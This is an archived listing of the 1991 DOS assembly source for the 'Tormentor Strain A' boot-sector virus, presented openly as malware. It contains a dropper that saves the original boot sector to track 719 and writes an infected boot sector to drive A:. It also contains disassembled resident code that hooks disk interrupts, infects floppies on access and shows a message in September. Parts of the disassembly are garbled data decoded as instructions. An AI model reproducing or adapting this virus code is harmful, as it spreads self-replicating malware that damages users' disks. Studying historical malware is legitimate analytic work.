home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / TORMENT.ASM < prev    next >
Assembly Source File  |  1991-01-10  |  13KB  |  543 lines

  1. code_seg segment
  2.      assume cs:code_seg,ds:code_seg
  3.     
  4.      org 100h
  5.  
  6. tormentor     proc    far
  7.  
  8. @disp    macro    string            
  9.     mov    dx,offset string
  10.     mov    ah,09h
  11.     int    21h
  12. endm
  13.  
  14. @exit    macro    
  15.     mov    ax,4c00h
  16.     int    21h
  17. endm
  18.  
  19. @cls    macro    mode
  20.     mov    ah,00h
  21.     mov    al,mode
  22.     int    10h
  23. endm
  24.  
  25. start:    jmp    main
  26.  
  27. boot_area dw     256 dup (0)
  28. boot_sec  dw    512 dup (0)
  29.  
  30. message    db    "Tormentor Strain A",13,10
  31.     db    "Written by The High Evolutionary",13,10
  32.     db    "Copyright (C) 1991 by The RABID Nat'nl Development Corp."
  33.     db    13,10,13,10
  34.     db    "Press any key to install onto media in drive A:",13,10
  35.     db    "(Or press CTRL-C to abort)$",13,10
  36.  
  37. paused    db    13,10,13,10
  38.     db    "[Paused] Insert destination disk if desired and press",13,10
  39.     db    "any key, otherwise, press any key$",13,10
  40.  
  41. done    db    "Done!$",13,10
  42.  
  43. r_fail    db    13,10,13,10
  44.     db    "Failed to READ in boot sector$",13,10
  45.  
  46. w_fail    db    13,10,13,10
  47.     db    "Failed to WRITE boot sector$",13,10
  48.  
  49. f_infec    db    13,10,13,10
  50.     db    "SHIT! We failed to write the virus code to the disk!!!$",13,10
  51.  
  52. r_boot    db    13,10,13,10
  53.     db    "Now READING in the boot sector$",13,10
  54.  
  55. w_boot    db    13,10,13,10
  56.     db    "Now WRITING the boot sector to track 719$",13,10
  57.  
  58. w_vir    db    13,10,13,10
  59.     db    "Now WRITING the VIRUS to the boot sector$",13,10
  60.  
  61. succ    db    13,10,13,10
  62.     db    "Success! We installed Tormentor onto the drive$",13,10
  63.  
  64. memerr    db    13,10,13,10
  65.     db    "BOMB! We had a memory allocation error. Bailing out...$",13,10
  66.     db    13,10
  67.  
  68. read_shit db    13,10,13,10
  69.     db    "Reading in shit via INT 25...$",13,10
  70.     db    13,10
  71.  
  72. intro    db    "You are in Torment$",13,10
  73.  
  74. bootseg    dw    ?            ; Storage segment address or mem. block
  75.                     ; containing copy of boot record
  76.  
  77. dssave    dw    ?            ; Storage for DS register
  78. ;dssave dw    seg    group        ; Storage for DS register
  79.  
  80. pspseg    dw    ?            ; PSP segment storage
  81.  
  82. ;stack    segment para stack 'STACK'    ; Code Segment
  83. ;stack     ends
  84.  
  85. ;_data    segment    word public 'DATA'    ; Data Segment
  86. ;_data    ends
  87.  
  88. ;dgroup    group    data,stack        ; Define segment group
  89.  
  90. ;*****************************************************************************
  91. ; Boot record information to infect both floppies and hard-drives
  92. ;*****************************************************************************
  93.  
  94. bootrecord    struc
  95. bootjump    db    3 dup (?)    ; Initial 3 byte jmp instruction
  96. oemstring    db    8 dup (?)    ; OEM version and DOS
  97. sectorbytes    dw    ?        ; Bytes per sector
  98. clustersec    db    ?        ; Sectors per cluster
  99. reservedrec    dw    ?        ; Reserved sectors
  100. fatcopies    db    ?        ; number of FAT copies
  101. direntries    dw    ?        ; number of root dir entries
  102. totalsectors    dw    ?        ; Total disk sectors
  103. mediadescrip    db    ?        ; Media Descriptor
  104. fatsectors    dw    ?        ; number of sectors occupied by 1 FAT
  105. tracksectors    dw    ?        ; number of sectors per track
  106. heads        dw    ?        ; number of heads
  107. hiddensectors    dw    ?        ; number of hidden sectors
  108. bootrecord    ends
  109.  
  110. drive    db    ?            ; Current drive pointer
  111.  
  112. memalloc    proc    near
  113.  
  114.     push    bp            ; Save base pointer
  115.     push     bx            ; Save BX
  116.     mov    bp,sp            ; init base pointer
  117.     xor    al,al            ; Zero out AL    
  118.     mov    ah,48h            ; Allocate mem. function
  119.     int    21h
  120.     jnc    end_memalloc        ; exit if no error
  121.     mov    word ptr [bp],bx
  122.  
  123. end_memalloc:
  124.     pop    bx            ; Restore BX
  125.     pop    bp            ; Restore Base Pointer
  126.     ret    
  127.  
  128. memalloc    endp
  129.  
  130. main:
  131.  
  132. get_default_drive:
  133.     mov    ah,19h
  134.     int    21h
  135.     mov    byte ptr drive,al    ; Move current drive into drive
  136.  
  137.  
  138. ;    mov    ds,dssave        ; Initialise DS
  139. ;    mov    ax,es            ; get PSP address
  140. ;    mov    word ptr pspseg,ax    ; and save it...
  141.  
  142.     jmp    read_boot
  143.  
  144. ;    mov    bx,40h            ; Allocate 1024 bytes
  145. ;    call    memalloc        ; Allocate BX block of memory
  146. ;    jnc    read_boot
  147. ;    @disp    memerr
  148. ;    jmp    quit    
  149.  
  150. read_boot:
  151.     @disp    read_shit
  152.     mov    ah,08h
  153.     int    21h
  154.     mov    word ptr bootseg,ax
  155.     push    ax            ; Save AX onto the stack
  156.     mov    al,0
  157. ;    mov    al,byte ptr drive    ; Move current drive into AL
  158.     xor     ah,ah            ; Zero out AH
  159. ;    pop    ds            ; Restore Data_seg
  160.     pushf                ; Save flags
  161.     mov    dx,0            ; Read in sector 0
  162.     mov    cx,1            ; Read in 1 sector
  163.     mov    bx,offset boot_sec    ; Store data at DS:boot_sec
  164.     int    25h            ; Read in the disk
  165.     popf                ; clear flags used by flags
  166.     @disp    done
  167.     mov    ah,08h
  168.     int    21h
  169. ;    assume    ds:code_seg        ; Restore DS
  170.     
  171. begin:    @cls    03
  172. ;    mov    ah,00            ; Set screen
  173. ;    mov    al,03            ; Set screen for 80x25 color
  174. ;    int    10h            ; Call BIOS
  175.     @disp     message
  176.  
  177.     mov    ah,08h            ; Wait for a keypress
  178.     int    21h
  179.     mov    cx,3
  180.  
  181. read_sector:
  182.     @disp    r_boot            ; Display that we are reading the
  183.                     ; sector from the disk
  184.     push    cx            ; Counter is pushed onto the stack
  185.     mov    ax,201h            ; Read in 1 sector
  186.     mov    bx,offset boot_area    ; Store it in boot_area
  187.     mov    cx,1            ; Set counter to 1
  188.     mov    dx,0            ; Set for drive 0, head 0
  189.     int    13h            ; Call BIOS
  190.     pop    cx            ; Restore counter
  191.     jnc    good_read        ; If there were no errors, then
  192.                     ; jump to good_read
  193.     loop    read_sector        ; Jump back and try reading the sector
  194.                     ; again while CX>0
  195.     @disp     r_fail
  196.     mov    ax,4c00h        ; Exit
  197.     int    21h            ; Call DOS
  198.  
  199. good_read:
  200.     mov    cx,3            ; Set counter to 3
  201.     @disp    paused            ; Display message for pause
  202.     mov    ah,08h            ; Wait for a key
  203.     int    21h            ; Call DOS
  204.  
  205. ;*****************************************************************************
  206. ; Write good sector to track 719 (Head 1, track 27, sector 9)
  207. ;*****************************************************************************
  208.  
  209. write_sector:
  210.     @disp    w_boot            ; Display that we are writing the 
  211.                     ; sector to disk
  212.     mov    ax,301h            ; Set for writing the boot sector
  213.     mov    bx,offset boot_area    ; Set buffer to what we read in
  214. ;    mov    bx,offset infected_data
  215.     mov    cx,2709h        ; Set counter to 2709h
  216.     mov    dx,100h            ; Head 1, drive 0    
  217.     int    13h            ; Call BIOS
  218.     pop    cx            ; Restore the counter
  219.     jnc    good_write        ; If we wrote the sectors allright,
  220.                     ; then jump to good_write
  221.     loop    write_sector
  222.     @disp    w_fail
  223.     mov    ax,4c00h        ; Exit
  224.     int    21h            ; Call DOS
  225.  
  226. good_write:
  227.     mov    cx,3            ; Copy 3 into CX
  228.     @disp    w_vir
  229. infect_floppy:
  230.     push    cx            ; Push it onto the stack
  231.     mov    ax,301h            ; Write 1 sector
  232.     mov    bx,offset infected_data ; Write corrupt boot sector to the
  233.                     ; drive
  234.     mov    cx,1            ; Set counter to 1
  235.     mov    dx,0            ; Set for drive A:
  236.     int    13h            ; Call BIOS
  237.     jnc    good_infection        ; If there are no problems, then
  238.                     ; continue
  239.     loop    infect_floppy        ; Otherwise, try again until CX=0
  240.     @disp    f_infec            ; If CX=0, then display the message
  241.                     ; and then exit
  242.     mov    ax,4c00h        ; Exit
  243.     int    21h            ; Call DOS
  244.  
  245. good_infection:
  246.     @disp    succ
  247.     mov    ax,4c00h
  248.     int    21h
  249.  
  250. ;*****************************************************************************
  251. ; The following is a copy of the infected boot sector to copy to sector 0
  252. ;*****************************************************************************
  253.  
  254. infected_data    db    0EBh, 34h
  255.         nop
  256.         dec    cx
  257.         inc    dx
  258.         dec    bp
  259.         and    [bx+si],ah
  260.         xor    bp,word ptr ds:[33h]
  261.         add    al,[bp+si]
  262.         add    [bx+si],ax
  263.         add    dh,[bx+si+0]
  264.         rol    byte ptr [bp+si],1    ; Rotate
  265.         std                ; Set direction flag
  266.         add    al,[bx+si]
  267.         or    [bx+si],ax
  268.         add    al,[bx+si]
  269.         db    19 dup (0)
  270. ;        db    'Tormentor Strain A - RABID Nat''nl Development Corp.'
  271.         adc    al,[bx+si]
  272.         add    [bx+si],al
  273.         add    [bx+di],al
  274.         add    dl,bh
  275.         xor    ax,ax            ; Zero register
  276.         mov    ds,ax
  277.         mov    ss,ax
  278.         mov    bx,7C00h        ; Pointer to boot segment
  279.         mov    sp,bx
  280.         push    ds
  281. data_14        db    53h
  282.         dec    word ptr ds:[413h]
  283.         int    12h            ; Put (memory size)/1K in ax
  284.         mov    cl,6
  285.         shl    ax,cl            ; Shift w/zeros fill
  286.         mov    es,ax
  287.         xchg    ax,word ptr ds:[4Eh]
  288.         mov    word ptr ds:[7DABh],ax
  289.         mov    ax,128h
  290.         xchg    ax,word ptr ds:[4Ch]
  291.         mov    word ptr ds:[7DA9h],ax
  292.         mov    ax,es
  293.         xchg    ax,word ptr ds:[66h]
  294.         mov    word ptr ds:[7DAFh],ax
  295.         mov    ax,0BBh
  296.         xchg    ax,word ptr ds:[64h]
  297.         mov    word ptr ds:[7DADh],ax
  298.         xor    di,di            ; Zero register
  299.         mov    si,bx
  300.         mov    cx,100h
  301.         cld                ; Clear direction
  302.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  303.         sti                ; Enable interrupts
  304.         push    es
  305.         mov    ax,85h
  306.         push    ax
  307.         retf
  308.         push    bx
  309.         xor    dl,dl            ; Zero register
  310.         call    sub_2            ; (00FB)
  311.         pop    bx
  312.         push    ds
  313.         pop    es
  314.         mov    ah,2
  315.         mov    dh,1
  316.         call    sub_6            ; (011F)
  317.         jc    loc_2            ; Jump if carry Set
  318.         push    cs
  319.         pop    ds
  320.         mov    si,offset ds:[0Bh]
  321.         mov    di,offset ds:[7C0Bh]
  322.         mov    cx,2Bh
  323.         cld                ; Clear direction
  324.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  325.         jz    loc_ret_3        ; Jump if zero
  326. loc_2:
  327.         pop    bx
  328.         pop    ax
  329.         push    cs
  330.         mov    ax,0AFh
  331.         push    ax
  332.   
  333. loc_ret_3:
  334.         retf                ; Return far
  335. read_error:
  336.         push    cs
  337.         pop    ds
  338.         mov    si,1DBh
  339.         call    sub_1            ; (00DA)
  340.         xor    ah,ah            ; Zero register
  341.         int    16h            ; Keyboard i/o  ah=function 00h
  342.                         ; get keybd char in al, ah=scan
  343.         xor    ax,ax            ; Zero register
  344.         int    13h            ; Disk  dl=drive a  ah=func 00h
  345.                         ;  reset disk, al=return status
  346.         push    cs
  347.         pop    es
  348.         mov    bx,offset ds:[200h]
  349.         mov    cx,6
  350.         xor    dx,dx            ; Zero register
  351.         mov    ax,201h
  352.         int    13h            ; Disk  dl=drive a  ah=func 02h
  353.                         ;  read sectors to memory es:bx
  354.         jc    read_error        ; Jump if carry Set
  355.         mov    cx,0FF0h
  356.         mov    ds,cx
  357.         jmp    dword ptr cs:data_16
  358.  
  359. ;
  360. ; Insert Tormentor     endp here...
  361. ;
  362. ;tormentor    endp
  363.  
  364.   
  365. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  366. ;                   SUBROUTINE
  367. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  368.   
  369. sub_1        proc    near
  370. loc_5:
  371.         mov    bx,7
  372.         cld                ; Clear direction
  373.         lodsb                ; String [si] to al
  374.         or    al,al            ; Zero ?
  375.         jz    loc_ret_9        ; Jump if zero
  376.         jns    loc_6            ; Jump if not sign
  377.         xor    al,0D7h
  378.         or    bl,88h
  379. loc_6:
  380.         cmp    al,20h            
  381.         jbe    loc_7            ; Jump if below or =
  382.         mov    cx,1
  383.         mov    ah,9            ; 
  384.         int    10h            ; Video display   ah=functn 09h
  385.                         ; set char al & attrib bl @curs
  386. loc_7:
  387.         mov    ah,0Eh
  388.         int    10h            ; Video display   ah=functn 0Eh
  389.                         ;  write char al, teletype mode
  390.         jmp    short loc_5        ; (00DA)
  391.   
  392. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  393.   
  394. sub_2:
  395.         mov    bx,200h
  396.         mov    cx,2
  397.         mov    ah,cl
  398.         call    sub_5            ; (011D)
  399.         mov    cx,2709h
  400.         xor    byte ptr es:[bx],0FDh
  401.         jz    loc_8            ; Jump if zero
  402.         mov    cx,4F0Fh
  403. loc_8:
  404.         jmp    short loc_ret_9        ; (0127)
  405.         nop
  406.   
  407. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  408.   
  409. sub_3:
  410.         mov    ah,2
  411.         mov    bx,200h
  412.   
  413. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  414.   
  415. sub_4:
  416.         mov    cx,1
  417.   
  418. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  419.   
  420. sub_5:
  421.         mov    dh,0
  422.   
  423. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  424.   
  425. sub_6:
  426.         mov    al,1
  427.   
  428. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  429.   
  430. sub_7:
  431.         pushf                ; Push flags
  432.         call    dword ptr cs:data_15
  433.   
  434. loc_ret_9:
  435.         retn
  436. sub_1        endp
  437.   
  438.         push    ax
  439.         push    bx
  440.         push    cx
  441.         push    dx
  442.         push    es
  443.         push    ds
  444.         push    si
  445.         push    di
  446.         pushf                ; Push flags
  447.         push    cs
  448.         pop    ds
  449.         cmp    dl,1
  450.         ja    loc_11            ; Jump if above
  451.         and    ax,0FE00h
  452.         jz    loc_11            ; Jump if zero
  453.         xchg    al,ch
  454.         shl    al,1            ; Shift w/zeros fill
  455.         add    al,dh
  456.         mov    ah,9
  457.         mul    ah            ; ax = reg * al
  458.         add    ax,cx
  459.         sub    al,6
  460.         cmp    ax,6
  461.         ja    loc_11            ; Jump if above
  462.         push    cs
  463.         pop    es
  464.         call    sub_3            ; (0115)
  465.         jc    loc_10            ; Jump if carry Set
  466.         mov    di,offset data_14
  467.         mov    si,offset ds:[243h]
  468.         mov    cx,0Eh
  469.         std                ; Set direction flag
  470.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to
  471.                         ; es:[di]
  472.         jz    loc_11            ; Jump if zero
  473.         sub    si,cx
  474.         sub    di,cx
  475.         mov    cl,33h            ; '3'
  476.         rep    movsb            ; Rep when cx >0 Mov [si] to
  477.                         ; es:[di]
  478.         call    sub_2            ; (00FB)
  479.         push    cx
  480.         push    bx
  481.         call    sub_3            ; (0115)
  482.         mov    ah,3
  483.         xor    bx,bx            ; Zero register
  484.         call    sub_4            ; (011A)
  485.         pop    bx
  486.         pop    cx
  487.         jc    loc_10            ; Jump if carry Set
  488.         mov    dh,1
  489.         mov    ah,3
  490.         call    sub_6            ; (011F)
  491. loc_10:
  492.         xor    ax,ax            ; Zero register
  493.         call    sub_7            ; (0121)
  494. loc_11:
  495.         mov    ah,4
  496.         int    1Ah            ; Real time clock   ah=func 04h
  497.                         ; read date cx=year, dx=mon/day
  498.         cmp    dh,9
  499.         jne    not_month        ; Jump if not equal
  500.         mov    si,1B1h
  501.         call    sub_1            ; (00DA)
  502. not_month:
  503.         popf                ; Pop flags
  504.         pop    di
  505.         pop    si
  506.         pop    ds
  507.         pop    es
  508.         pop    dx
  509.         pop    cx
  510.         pop    bx
  511.         pop    ax
  512.         jmp    dword ptr cs:data_15
  513. data_15        dd    0C602EC59h
  514. data_16        dd    0F000E6F2h
  515.         esc    2,ch            ; coprocessor escape
  516.         and    [bp+di-4141h],al
  517.         movsb                ; Mov [si] to es:[di]
  518.         idiv    word ptr [bp-85Ch]    ; ax,dxrem=dx:ax/data
  519.         xchg    ax,si
  520.         mov    si,offset ds:[0B4A5h]
  521.         mov    ax,0DAA7h
  522.         esc    5,[bx+si]        ; coprocessor escape
  523.         db    'IO      SYSMSDOS   SYS', 0Dh, 0Ah
  524.         db    'Non-system disk or disk error', 0Dh
  525.         db    0Ah
  526.         add    [bx+si],al
  527.         push    bp
  528. ;        jmp    cont
  529.  
  530. ;        db    'Tormentor Strain A - RABID Nat''nl Development Corp.'
  531.         stosb
  532. ;cont:        stosb                ; Store al to es:[di]
  533.   
  534. tormentor    endp
  535.  
  536. quit:    mov    ax,4c00h
  537.     int    21h
  538.  
  539.     
  540.     code_seg    ends
  541. end     start
  542.  
  543.